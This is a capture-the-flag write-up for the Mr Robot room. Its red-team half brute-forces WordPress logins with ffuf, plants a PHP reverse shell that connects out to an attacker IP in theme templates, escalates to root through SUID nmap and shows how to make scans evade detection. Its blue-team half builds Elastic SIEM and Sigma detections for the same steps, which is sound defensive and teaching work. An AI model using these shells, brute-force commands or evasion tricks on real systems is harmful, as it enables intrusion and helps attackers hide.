THM Mr Robot CTF Writeup Red and Blue Team
Welcome to this issue of the Shieldia blog, today we will be doing the Mr Robot CTF on TyrHackMe. We will recon the target, enumerate the username with ffuf, brute force the credentials, catch a reverse shell with Villain, exfiltrate all the flags. In the Blue Team section we detect all the activity with Elastic SIEM. I propose three new Sigma rules to detect, obfuscated nmap scans, WordPress based brute force without a WAF, and local lateral movement from the www-data account.
Mr Robot - Red Team
Task 1
Follow the steps to connect to the THM network.
Task 2
Lunch the Machine and like always we will begin by reconnoitering the target.
Once the machine has started add it to your Kali’s /etc/hosts file so we only interact with DNS names (replace <TARGET_IP>):
1
sudo bash -c "echo '<TARGET_IP> mrrobot.thm.home.arpa' >> /etc/hosts"
Nmap
As always we will do a little nmap recon to see what ports are open:
1
sudo nmap -A -p- -vvv mrrobot.thm.home.arpa
Port 22:
Example namp output for port 22
Port 80 and 443:
Example nmap output for port 80 and 443
Looks like the cert has expired and the server supports the HEAD method, other than that nothing overly interesting.
Since the server is responding with web ports 80 and 443 we can enumerate what’s there.
Basic Browser
Visiting the URL in a browser we are presented with a little “terminal”:
All the commands are rabbit holes.
Having a quick look at the source code nothing overly interesting either:
ffuf
Lets have a look what directories might be served:
1
ffuf -u "http://mrrobot.thm.home.arpa/FUZZ" -mc 200 -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
Much more information. We can suspect from this that we are dealing with a WordPress site from the wp-* returned directories.
While we explore these directories lets start a little Nikto scan.
Nikto
A little Nikto scan:
1
nikto -host mrrobot.thm.home.arpa
/#wp-config.php# This is a red herring.
Basic Browser
Now that we have a list of directories to enumerate further lets see what they serve in a browser. I’ll only demo interesting directories.
/robots.txt
Going to key-1-of-3.txt we are presented with the first flag:
/fsocity.dic Looks like a wordlist… interesting.
Download the wordlist with:
1
wget http://mrrobot.thm.home.arpa/fsocity.dic
/admin Breaks in an infinite load loop and looks like the rabbit hole CSS.
/wp-admin Looks like a WordPress login page:
Example wordpress login to mrrobot
Brute Force?
First we must identify what username to target, luckily for us WordPress will tell us!
Using ffuf we can quickly enumerate usernames. There are two distinct fail conditions, first if you enter a username and empty password:
Next is if you enter a password you’ll see:
WordPress will tell you the username is wrong! Very interesting, lets construct a ffuf scan to take advantage of this to identify a valid username.
ffuf
Fuzz Faster u Fool is great for quick and dirty broute forcing. I generated the request structure from a simple “Copy as cURL” in the Firefox Inspector from a failed POST login request:
Then modify the request to fit within what ffuf expects:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ffuf -u 'http://mrrobot.thm.home.arpa/wp-login.php' \
--compressed \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://mrrobot.thm.home.arpa' \
-H 'Connection: keep-alive' \
-H 'Referer: http://mrrobot.thm.home.arpa/wp-login.php' \
-H 'Cookie: wordpress_test_cookie=WP+Cookie+check' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i' \
-d 'log=FUZZ&pwd=asdf&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm.home.arpa%2Fwp-admin%2F&testcookie=1' \
-w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
-fr "(Invalid username\.|The password field is empty\.)"
Now we have a username lets use the wordlist we’ve downloaded and target it.
Based on the hint for this level we can assume there is something fishy about the wordlist. What if we reverse the order of the entries?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ffuf -u 'http://mrrobot.thm.home.arpa/wp-login.php' \
--compressed \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://mrrobot.thm.home.arpa' \
-H 'Connection: keep-alive' \
-H 'Referer: http://mrrobot.thm.home.arpa/wp-login.php' \
-H 'Cookie: wordpress_test_cookie=WP+Cookie+check' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i' \
-d 'log=elliot&pwd=FUZZ&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm.home.arpa%2Fwp-admin%2F&testcookie=1' \
-w <(tac fsocity.dic) \
-fr "The password you entered for the username"
tac is cat backwards so it just reverses the order of entries in a file (not the entries themselves that would be rev) it then creates a file descriptor for this new file as an input for ffuf.
Persistence
So we now have the WordPress username and password, lets login. :)
Example wordpress login dashboard
Nice, now how do we place a little revshell on the target? Well since all the Appearance Templates are all loaded by PHP maybe that is an avenue.
Navigate to Appearance -> Editor
Villain
First download and install Villain to manage our little revshells. We don’t need to mess with netcat today. Install steps can be found here.
If you use either
netcator Villain they’ll need permission to bind to privileged ports, run this incantation:sudo setcap 'cap_net_bind_service=+ep' $(realpath $(command -v python3))for Villain orsudo setcap 'cap_net_bind_service=+ep' $(realpath $(command -v nc))fornetcat.
Start a Villain or netcat listener:
1
python3 Villain.py -n 443
Now upload a custom 404 template to the WordPress site that looks like the following (replace your IP):
1
2
3
4
<?php
$sock = fsockopen("<REPLACE_ME>", 443);
$proc = proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
Don’t forget to hit “Upload File.”
Now visit the 404 page:
1
http://mrrobot.thm.home.arpa/wp-content/themes/twentyfifteen/404.php
This should trigger the revshell and be caught by villain:
To activate the shell just type:
1
shell <ID>
Lets have a look at /home:
1
ls -alh /home
Example ls of home in revshell on server
Looks like “robot” is home lets see what they have (it’s owned by root which is strange):
1
ls -alh /home/robot
Example ls of home robot in revshell on server
Nice read the flag with:
1
cat /home/robot/key-2-of-3.txt
Example cat of key in robot dir
Oh no looks like we’ll need to pivot to the robot user, lets have a gander at the password.raw-md5 file quick:
1
cat /home/robot/password.raw-md5
Interesting, could this be the user’s password? Lets fire at crackstation and see:
Seems like it is, lets use it to su into the account.
1
su robot
Now lets read the flag:
1
cat /home/robot/key-2-of-3.txt
Local Privilege Escalation
Now that you have two flags lets log into the box via SSH, this will make a much more stable connection.
1
ssh robot@mrrobot.thm.home.arpa
Use the password we pivoted to the robot account with.
Once you’ve logged in upgrade the shell to bash
1
2
3
/bin/bash
lsb_release -a
umane -a
Looks like quite an old Ubuntu distribution, worth noting down but not too important now.
Lets have a look at what SUID bit binaries are available:
1
find / -perm /6000 2>/dev/null
You could also use the or matcher
1
find / \( -perm -4000 -o -perm -2000 -o -perm -6000 \) 2>/dev/null
Interesting, having a look at nmap in GTFObins we get a hit:
1
2
3
nmap --interactive
!bash
cat /root/key-3-of-3.txt
Boom we get root.
Mr Robot - Blue Team
All testing done against local targets not affiliated with THM
Setup
You don’t have to setup a local instance at home! This is for illustrative purposes if you were so inclined and wanted to follow along at home! I won’t document everything, this is a starting point for you to use!
With the Tartarus Lab I’ve created a sub-directory to host this VM and created a new Vagrantfile. You’ll need to copy over the keys, certs, apps, and tokens dirs to the new sub-directory.
This means we don’t have to seed the logs like we did in the 0day post, and we get access to more logging sources.
Vagrant
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.define "wordpress", autostart: false do |wordpress|
wordpress.vm.box = "bento/ubuntu-20.04"
wordpress.vm.hostname = 'tartarus-wordpress'
wordpress.vm.box_url = "bento/ubuntu-20.04"
# Configuring both NAT and private network interfaces
wordpress.vm.network :private_network, ip: "192.168.56.73", virtualbox__intnet: "vboxnet1", auto_config: false
wordpress.vm.provider :virtualbox do |v|
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
v.customize ["modifyvm", :id, "--cpus", 2]
v.customize ["modifyvm", :id, "--memory", 2048]
v.customize ["modifyvm", :id, "--name", "tartarus-wordpress"]
end
# Provisioning script using Netplan
wordpress.vm.provision "shell", inline: <<-SHELL
# Create Netplan configuration
cat > /etc/netplan/01-netcfg.yaml << EOF
network:
version: 2
ethernets:
eth0:
dhcp4: true
eth1:
dhcp4: no
addresses:
- 192.168.56.73/26
gateway4: 192.168.56.65
nameservers:
addresses:
- 192.168.56.65
routes:
- to: default
via: 192.168.56.65
metric: 10
EOF
# Apply Netplan configuration
sudo netplan apply
SHELL
# Additional provisioning script (since we are dealing with Ubuntu 20xx)
wordpress.vm.provision :shell, inline: <<-SHELL
if ! systemctl is-active --quiet elastic-agent; then
echo "Elastic Agent service not running. Running APACHEALBootstrap.sh"
bash /vagrant/APACHEALBootstrap.sh
else
echo "Elastic Agent service is running"
fi
SHELL
end
end
First you bring up the Tartarus Lab with a little (in the parent Tartarus dir):
1
vagrant up opnsense elastic kali
Then save the above Vagrantfile to a subdirectory named wordpress and run the up command:
1
2
mkdir wordpress
cd !$
1
2
vim Vagrantfile
[paste the contents quit with :x]
1
vagrant up wordpress
Open a browser to (if you’ve followed the prerequisites and created an entry in your hosts’ /etc/hosts file!):
1
https://tartarus-elastic.home.arpa:5443/app/home#/
Navigate to the fleet page to confirm connectivity:
Example elastic fleet agent connections
We expect it to be in an “Unhealthy” state since we haven’t installed Apache yet.
WordPress
This will setup WordPress in a non-production insecure manner, DO NOT USE FOR PRODUCTION!
Now log into the guest and install Apache:
1
vagrant ssh wordpress
Install the dependencies:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo apt update
sudo apt install apache2 \
ghostscript \
libapache2-mod-php \
mysql-server \
php \
php-bcmath \
php-curl \
php-imagick \
php-intl \
php-json \
php-mbstring \
php-mysql \
php-xml \
php-zip
Install WordPress (we will install an old version to emulate the real target):
1
2
3
sudo mkdir -p /srv/www
sudo chown www-data: /srv/www
curl https://wordpress.org/wordpress-4.3.tar.gz | sudo -u www-data tar xz -C /srv/www
Configure Apache for WordPress (/etc/apache2 is write protected so we need to elevate privileges):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo bash -c "cat > /etc/apache2/sites-available/wordpress.conf << EOF
<VirtualHost *:80>
DocumentRoot /srv/www/wordpress
<Directory /srv/www/wordpress>
Options FollowSymLinks
AllowOverride Limit Options FileInfo
DirectoryIndex index.php
Require all granted
</Directory>
<Directory /srv/www/wordpress/wp-content>
Options FollowSymLinks
Require all granted
</Directory>
</VirtualHost>
EOF"
1
2
3
4
sudo a2ensite wordpress
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo service apache2 reload
Configure the database:
1
sudo mysql -u root -e "CREATE DATABASE wordpress; CREATE USER 'wordpress'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,ALTER ON wordpress.* TO 'wordpress'@'localhost'; FLUSH PRIVILEGES;"
Confirm the database was created:
1
sudo mysql -u root -e "SHOW DATABASES LIKE 'wordpress%';"
Example confirm db was created command
Configure WordPress to connect to the database:
1
sudo -u www-data cp /srv/www/wordpress/wp-config-sample.php /srv/www/wordpress/wp-config.php
1
2
3
sudo -u www-data sed -i 's/database_name_here/wordpress/' /srv/www/wordpress/wp-config.php
sudo -u www-data sed -i 's/username_here/wordpress/' /srv/www/wordpress/wp-config.php
sudo -u www-data sed -i 's/password_here/password/' /srv/www/wordpress/wp-config.php
Create the new salts:
1
2
3
4
5
sudo -u www-data bash -c '
salts=$(curl -s https://api.wordpress.org/secret-key/1.1/salt/)
awk -v r="$salts" "/define.*AUTH_KEY/,/define.*NONCE_SALT/ {if (!done) {print r; done=1; next} next} {print}" /srv/www/wordpress/wp-config.php > /srv/www/wordpress/wp-config.php.new &&
mv /srv/www/wordpress/wp-config.php.new /srv/www/wordpress/wp-config.php
'
Replace the default login route. Open /srv/www/wordpress/wp-login.php and replace the following line:
1
sudo vim /srv/www/wordpress/wp-login.php
Replace this line:
1
$user = wp_signon( '', $secure_cookie );
With the following:
1
2
3
4
5
$creds = array();
$creds['user_login'] = isset($_POST['log']) ? $_POST['log'] : '';
$creds['user_password'] = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$creds['remember'] = isset($_POST['rememberme']);
$user = wp_signon( $creds, $secure_cookie );
Don’t forget to set the timezone if you are non-UTC
Now we can configure the WordPress site. From the Kali instance in the Tartarus Lab goto:
1
http://192.168.56.73/wp-admin/install.php
Example wordpress install steps browser
Follow the install steps:
Username:
1
dagwood
Password:
1
liverpool1
Email:
1
example@test.home.arpa
Once you login you’ll have your very own WordPress site!
Now we can enumerate the site like we did against the target and see what logs we’ll get. :)
Enum Fun
Nmap
As always we’ll enum the target with nmap, however this time we will be more sneaky beaky like. For more information regarding nmap obfuscation see my Medium DVWA Recon post.
First we get what ports are open on the target:
1
sudo nmap -Pn -v -sS --top-ports 100 tartarus-dvwa.home.arpa
This doesn’t risk any connections you didn’t intend like -A will do to all open ports found.
The following namp command doesn’t work as expected.
Now that we know port 80 is open lets do a little web based recon:
1
sudo nmap -A -Pn -p 80 -vvv --script-args http.useragent="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.3" 192.168.56.73
Gives us the same info as before, but we are undetected in the SIEM:
On the wire this doesn’t actually set the User-Agent header properly. The correct scan should be:
1
sudo nmap -A -Pn -p 80 -vvv --script-args "http.useragent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.3'" 192.168.56.73
The alerts in Elastic SIEM:
Great we’re home free, right? Right?
Not quite, what about the actual HTTP requests nmap is making? Great question astute reader.
One of the requests is to the following directory (the number is the Epoch time):
1
/nmaplowercheck1760635935
Great now we can write a rule to catch the obfuscated nmap scan attempts against our external infra.
A Sigma rule like this will do the trick:
1
2
3
4
5
6
7
8
9
...
detection:
selection:
c-url|contains: '/nmaplowercheck'
user_agent_filter:
c-useragent|contains:
- 'Nmap Scripting Engine'
condition: selection and not user_agent_filter
...
Example elastic alert for obfuscated nmap scanning
ffuf
Moving back to ffuf how could we obfuscate our scanning to prevent detection? There are three effective measures I’ll put into one; slow the scan down with -rate, replace the User-Agent, and use the HEAD method.
A scan like this will be detected:
1
ffuf -u "http://192.168.56.73/FUZZ" -mc 200 -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
I’ve updated the RFI rule to exclude WordPress login callbacks.
The stealthier scan would be:
1
ffuf -X HEAD -rate 3 -u "http://tartarus-dvwa.home.arpa/FUZZ" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.3" -mc 200 -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
Example ffuf stealth scan results
The SIEM doesn’t detect anything:
For common.txt this scan will take about ~25 minutes, not ideal but much less noisy. There are other variables we could play with. What about sending the requests via a serverless topology in Cloudflare or AWS? A few requests per instance distributed globally with random sections of the wordlist, could be interesting.
Why use the HEAD method? To bypass some prematurely optimised detection rules as mentioned here.
Nikto
The Nikto scan is very noisy, I won’t be providing any obfuscation for it but just for an idea this is what the following scan would do:
1
nikto -host 192.168.56.73
Example alerts for a nikto scan
Brute Force
With all these detections surely we’d be able to easily identify any brute force attempts, right?
ffuf brute force
An updated WordPress username guesser as before will produce the following alerts:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ffuf -u 'http://192.168.56.73/wp-login.php' \
--compressed \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://192.168.56.73' \
-H 'Connection: keep-alive' \
-H 'Referer: http://192.168.56.73/wp-login.php' \
-H 'Cookie: wordpress_test_cookie=WP+Cookie+check' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i' \
-d 'log=FUZZ&pwd=asdf&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.56.73%2Fwp-admin%2F&testcookie=1' \
-w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
-fr "(Invalid username\.|The password field is empty\.)"
Look at all these alerts:
Example no alerts from ffuf username post based bf
What, what gives? The POST method is what, bereft a WAF we have no visibility into any of the request body. I’ve discussed this at length in the DVWA Medium Recon post. In this instance we won’t be installing ModSecurity, instead I’ll create a new Sigma rule to detect WordPress POST based brute force attempts. Or at least give us an idea if it’s happening.
Having a look at the log rate over that time window we see a massive increase in POST requests:
Example elastic search for post requests
Almost 7,000 POST requests from a single source in such a short period of time to the /wp-login.php endpoint. To me this is signals a brute force attempt, however without a WAF we don’t know what users are targeted or any other information. The Sigma rule will look for 100 attempts to /wp-login.php on the target host within a 5 minute window from the same source IP address.
The Sigma rule would look something like this:
1
2
3
4
5
6
7
8
9
10
11
...
detection:
selection:
method: 'POST'
url|contains:
- '/wp-login.php'
- '/wp%2Dlogin%2Ephp'
- '/wp-login%2Ephp'
- '/wp%2Dlogin.php'
condition: selection
...
Example elastic alerts for wordpress post bf
The logic holds true for both username enumeration and brute forcing, however we can’t tell the difference from the logs.
Again the obfuscation would be to slow the scan waaaay down.
Persistence
Do the current custom Sigma rules detect our reverse shell?
Indeed it does, however we won’t use the 404 based revshell method. If you use the 404 method it’ll spawn a shell every ~30 seconds due to the Elastic Agent Apache health check.
Start the Villain listener:
1
python3 Villain.py -n 443
Example villain revshell catcher
Uploading a revshell to the bio page:
1
http://192.168.56.73/wp-admin/theme-editor.php?file=author-bio.php&theme=twentyfifteen
We will change the file to:
1
2
3
4
<?php
$sock = fsockopen("192.168.56.200", 443);
$proc = proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
Trigger the revshell:
1
http://192.168.56.73/wp-content/themes/twentyfifteen/author-bio.php
Alert in Elastic:
It looks like my updated Sigma rule will catch the revshell:
You can now pivot to the local Vagrant account:
As a bonus there is a way to identify revshell like activity if you only have network traffic logs, run the following EQL search:
1
2
3
4
5
6
7
8
sequence with maxspan=1s
[ network where event.category == "network" and event.action == "pass"
and cidrmatch(source.ip, "192.168.56.192/26")
and cidrmatch(destination.ip, "192.168.56.64/26")
and (destination.port == 80 or destination.port == 443) ]
[ network where event.category == "network" and event.action == "pass"
and cidrmatch(source.ip, "192.168.56.64/26")
and cidrmatch(destination.ip, "192.168.56.192/26") ]
Example eql search for revshell activity on the network
Pivot
What if a user leaves their login credentials accessible? Can we detect local lateral movement from the www-data account? Yes! The local www-data account shouldn’t ever log into any other account.
A Sigma rule like this should do the trick (I’ve added a new Sigma pipeline as well to add the new logsource):
1
2
3
4
5
6
detection:
selection:
Action: 'logged-on'
UserId: '33'
ProcessName: 'su'
condition: selection
Example elastic alert for local lat movement
Credits
WordPress install steps from https://ubuntu.com/tutorials/install-and-configure-wordpress




































